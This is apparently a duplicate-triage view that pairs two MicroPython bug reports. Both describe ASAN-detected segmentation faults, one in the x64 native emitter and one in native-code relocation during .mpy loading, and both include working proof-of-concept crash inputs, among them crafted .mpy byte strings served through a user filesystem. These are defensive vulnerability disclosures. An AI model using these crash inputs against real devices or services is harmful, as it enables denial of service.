← index #18638Issue #18645
Related · high · value 1.318
QUERY · ISSUE

Segmentation Fault in mp_asm_base_get_cur_to_write_bytes (x64 native emitter)

openby oneafteropened 2026-01-05updated 2026-01-17
bugpy-core

Port, board and/or hardware

unix

MicroPython version

v1.27.0 and master-branch

Issue Report

Description

We discovered a Segmentation Fault vulnerability in MicroPython. The crash occurs within mp_asm_base_get_cur_to_write_bytes when compiling a specific Python script targeting the x64 native emitter.

The ASAN report indicates a READ memory access violation at an invalid address (0x0000bfff800a), suggesting corruption of the assembler state or an invalid pointer calculation during the code emission phase.

Environment

  • OS: Linux x86_64
  • Complier: gcc 11.5.0
  • Tools: AddressSanitizer
  • Affected Version: master branch
  • Build Configure:
make CFLAGS_EXTRA="-fsanitize=address --param asan-use-after-return=0" \
       LDFLAGS_EXTRA="-fsanitize=address --param asan-use-after-return=0" \
       CC=gcc STRIP= -j$(nproc)

Vulnerability Details

  • Target: MicroPython (Unix Port)
  • Vulnerability Type: Segmentation Fault (READ access violation)
  • Function: mp_asm_base_get_cur_to_write_bytes
  • Location: py/asmbase.c:70
  • Root Cause Analysis: The crash happens during the compilation phase (mp_compile), specifically when the native emitter is processing a return value (emit_native_return_value). The stack trace shows the flow:
#0 mp_asm_base_get_cur_to_write_bytes
#1 asm_x64_get_cur_to_write_bytes
#2 asm_x64_write_byte_2
#3 asm_x64_mov_mem64_to_r64
#4 emit_native_mov_reg_const

The function mp_asm_base_get_cur_to_write_bytes likely attempts to access the current code buffer pointer or size limit from the mp_asm_base_t structure. The invalid address 0x0000bfff800a suggests that the structure pointer itself is corrupted or one of its member pointers (like code_base) has been calculated incorrectly due to the malformed input script. This specifically affects the x64 Native/Viper code generation.

Reproduce

  1. Compile the micropython with gcc compiler and AddressSanitizer enabled
  2. Run the micropython with the POC input.

Proof of Concept:

def f():
    try:
        try:0
        finally:()
    except:()
@micropython.viper
def f():
    a**0
    try:0
    except:()
    a=0

ASAN report

==36122==ERROR: AddressSanitizer: SEGV on unknown address 0x0000bfff800a (pc 0x55fb9e917cc8 bp 0x000000000048 sp 0x7ffcb8c34f00 T0)
==36122==The signal is caused by a READ memory access.
    #0 0x55fb9e917cc8 in mp_asm_base_get_cur_to_write_bytes ../../py/asmbase.c:70
    #1 0x55fb9e917ea4 in asm_x64_get_cur_to_write_bytes ../../py/asmx64.c:125
    #2 0x55fb9e917ea4 in asm_x64_write_byte_2 ../../py/asmx64.c:136
    #3 0x55fb9e9184c7 in asm_x64_mov_mem64_to_r64 ../../py/asmx64.c:318
    #4 0x55fb9e9201fa in emit_native_mov_reg_const ../../py/emitnative.c:332
    #5 0x55fb9e9201fa in emit_native_return_value ../../py/emitnative.c:2904
    #6 0x55fb9e90f8a4 in compile_scope ../../py/compile.c:3190
    #7 0x55fb9e915184 in mp_compile_to_raw_code ../../py/compile.c:3598
    #8 0x55fb9e915184 in mp_compile ../../py/compile.c:3693
    #9 0x55fb9ea1d262 in parse_compile_execute ../../shared/runtime/pyexec.c:120
    #10 0x55fb9ea157e0 in do_file /src/repro/micropython/ports/unix/main.c:269
    #11 0x55fb9ea157e0 in main_ /src/repro/micropython/ports/unix/main.c:692
    #12 0x7fcf58a401c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
    #13 0x7fcf58a4028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
    #14 0x55fb9e8f2fd4 in _start (/src/repro/micropython/ports/unix/build-standard/micropython+0x84fd4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/asmbase.c:70 in mp_asm_base_get_cur_to_write_bytes
==36122==ABORTING

What does this issue allow an attacker to do?

Denial of Service (DoS). By supplying a Python script that utilizes native code generation (e.g., via decorators or specific syntax), an attacker can crash the MicroPython compiler process. In a scenario where MicroPython allows users to upload and compile code (e.g., WebREPL or a multi-user environment), this leads to a service outage.

How does the attacker exploit this issue?

The attacker provides a malformed Python script designed to trigger edge cases in the x64 native emitter. The script likely contains a specific combination of operations inside a function decorated with @micropython.native or @micropython.viper. The stack trace (emit_native_return_value) suggests the issue is triggered when generating assembly code for a return statement, possibly involving a large constant or a complex memory reference that causes the assembler to calculate an invalid memory address.

Code of Conduct

Yes, I agree

CANDIDATE · ISSUE

Segmentation Fault (NULL Pointer Dereference) in mp_native_relocate

closedby oneafteropened 2026-01-06updated 2026-01-06

Port, board and/or hardware

unix

MicroPython version

v1.27.0 and master-branch

Issue Report

Description

We discovered a Segmentation Fault vulnerability in MicroPython. The crash occurs within mp_native_relocate when importing or loading a malformed persistent code file.

The ASAN report indicates a WRITE memory access violation at address 0x000000000000, confirming a NULL Pointer Dereference during the relocation process of native code.

Environment

  • OS: Linux x86_64
  • Complier: gcc 11.5.0
  • Tools: AddressSanitizer
  • Affected Version: master branch
  • Build Configure:
make CFLAGS_EXTRA="-fsanitize=address --param asan-use-after-return=0" \
       LDFLAGS_EXTRA="-fsanitize=address --param asan-use-after-return=0" \
       CC=gcc STRIP= -j$(nproc)

Vulnerability Details

  • Target: MicroPython (Unix Port)
  • Vulnerability Type: Segmentation Fault (WRITE to NULL)
  • Function: mp_native_relocate
  • Location: py/persistentcode.c:152
  • Root Cause Analysis: The crash occurs during mp_raw_code_load, specifically when processing native code relocations in mp_native_relocate. The stack trace shows:
#0 0x55c6881c4f46 in mp_native_relocate ../../py/persistentcode.c:152
#1 0x55c6881c556b in load_raw_code ../../py/persistentcode.c:434

The ASAN error The signal is caused by a WRITE memory access at 0x000000000000 suggests that mp_native_relocate is attempting to write relocation data to a pointer that is NULL. This likely happens because the parser reads invalid offset/size information from the malformed .mpy file, leading to an invalid destination pointer calculation, or a missing check for a successful allocation before writing.

Reproduce

  1. Compile the micropython with gcc compiler and AddressSanitizer enabled
  2. Run the micropython with the POC input.

Proof of Concept:

import sys, io, vfs

mpy_arch = sys.implementation._mpy >> 8

class UserFile(io.IOBase):
    def __init__(self, data):
        self.data = memoryview(data)
        self.pos = 0

    def readinto(self, buf):
        n = min(len(buf), len(self.data) - self.pos)
        buf[:n] = self.data[self.pos : self.pos + n]
        self.pos += n
        return n

    def ioctl(self, req, arg):
        if req == 4:  # MP_STREAM_CLOSE
            return 0
        return -1

class UserFS:
    def __init__(self, files):
        self.files = files

    def mount(self, readonly, mksfs):
        pass

    def umount(self):
        pass

    def stat(self, path):
        if path in self.files:
            return (32768, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        raise OSError

    def open(self, path, mode):
        return UserFile(self.files[path])

small_int_bits = 30
valid_header = bytes([77, 6, (mpy_arch & 0x3F), small_int_bits])
user_files = {
    '/mod0.mpy': bytes([77, 6, 0xfc | (mpy_arch & 3), small_int_bits]),

    '/mod1.mpy': valid_header + (
        b'\x02' b'\x00' b'\x0emod1.py\x00' b'\x0aouter\x00' b'\x2c' b'\x00\x02' b'\x01' b'\x51' b'\x63' b'\x02' b'\x42' b'\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00' b'\x43' b'\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00'
    ),

    '/mod2.mpy': valid_header + (
        b'\x02' b'\x00' b'\x0emod2.py\x00' b'\x0aouter\x00' b'\x2c' b'\x00\x02' b'\x01' b'\x51' b'\x63' b'\x01' b'\x22' b'\x00\x00\x00\x00' b'\x70' b'\x06\x04' b'rodata' b'\x08\?01\x00' 
    ),
}

vfs.mount(UserFS(user_files), "/userfs")
sys.path.append("/userfs")

for i in range(len(user_files)):
    mod = "mod%u" % i
    try:
        __import__(mod)
    except ValueError as er:
        print(mod, "ValueError", er)

vfs.umount("/userfs")
sys.path.pop()

ASAN report

==35914==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55c6881c4f46 bp 0x7ffc25dffe30 sp 0x7ffc25dffd30 T0)
==35914==The signal is caused by a WRITE memory access.
==35914==Hint: address points to the zero page.
    #0 0x55c6881c4f46 in mp_native_relocate ../../py/persistentcode.c:152
    #1 0x55c6881c556b in load_raw_code ../../py/persistentcode.c:434
    #2 0x55c6881c53c5 in load_raw_code ../../py/persistentcode.c:389
    #3 0x55c6881c5aac in mp_raw_code_load ../../py/persistentcode.c:522
    #4 0x55c6881c5be2 in mp_raw_code_load_file ../../py/persistentcode.c:546
    #5 0x55c6881f67ed in do_load ../../py/builtinimport.c:249
    #6 0x55c6881f6edf in process_import_at_level ../../py/builtinimport.c:515
    #7 0x55c6881f72ac in mp_builtin___import___default ../../py/builtinimport.c:619
    #8 0x55c6881d7eb5 in fun_builtin_var_call ../../py/objfun.c:123
    #9 0x55c68820032d in mp_execute_bytecode ../../py/vm.c:984
    #10 0x55c6881d819d in fun_bc_call ../../py/objfun.c:295
    #11 0x55c6882bb2bb in parse_compile_execute ../../shared/runtime/pyexec.c:137
    #12 0x55c6882b37e0 in do_file /src/repro/micropython/ports/unix/main.c:269
    #13 0x55c6882b37e0 in main_ /src/repro/micropython/ports/unix/main.c:692
    #14 0x7f2e316b11c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
    #15 0x7f2e316b128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
    #16 0x55c688190fd4 in _start (/src/repro/micropython/ports/unix/build-standard/micropython+0x84fd4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/persistentcode.c:152 in mp_native_relocate
==35914==ABORTING

What does this issue allow an attacker to do?

Denial of Service (DoS). By providing a malicious input file, an attacker can crash the MicroPython interpreter process immediately. On embedded systems (microcontrollers) running MicroPython, this typically results in a hard fault, a system reset, or a boot loop, disrupting the device's availability.

How does the attacker exploit this issue?

The attacker creates a malformed persistent code file (.mpy) containing invalid native code relocation metadata. When the victim attempts to load this file (e.g., via the import statement or by running it directly), the mp_native_relocate function uses the corrupted offsets to calculate a destination address, resulting in an attempt to write to a NULL pointer, which triggers the crash.

Code of Conduct

Yes, I agree

Keyboard

j / / n
next pair
k / / p
previous pair
1 / / h
show query pane
2 / / l
show candidate pane
c
copy suggested comment
r
toggle reasoning
g i
go to index
?
show this help
esc
close overlays

press ? or esc to close

copied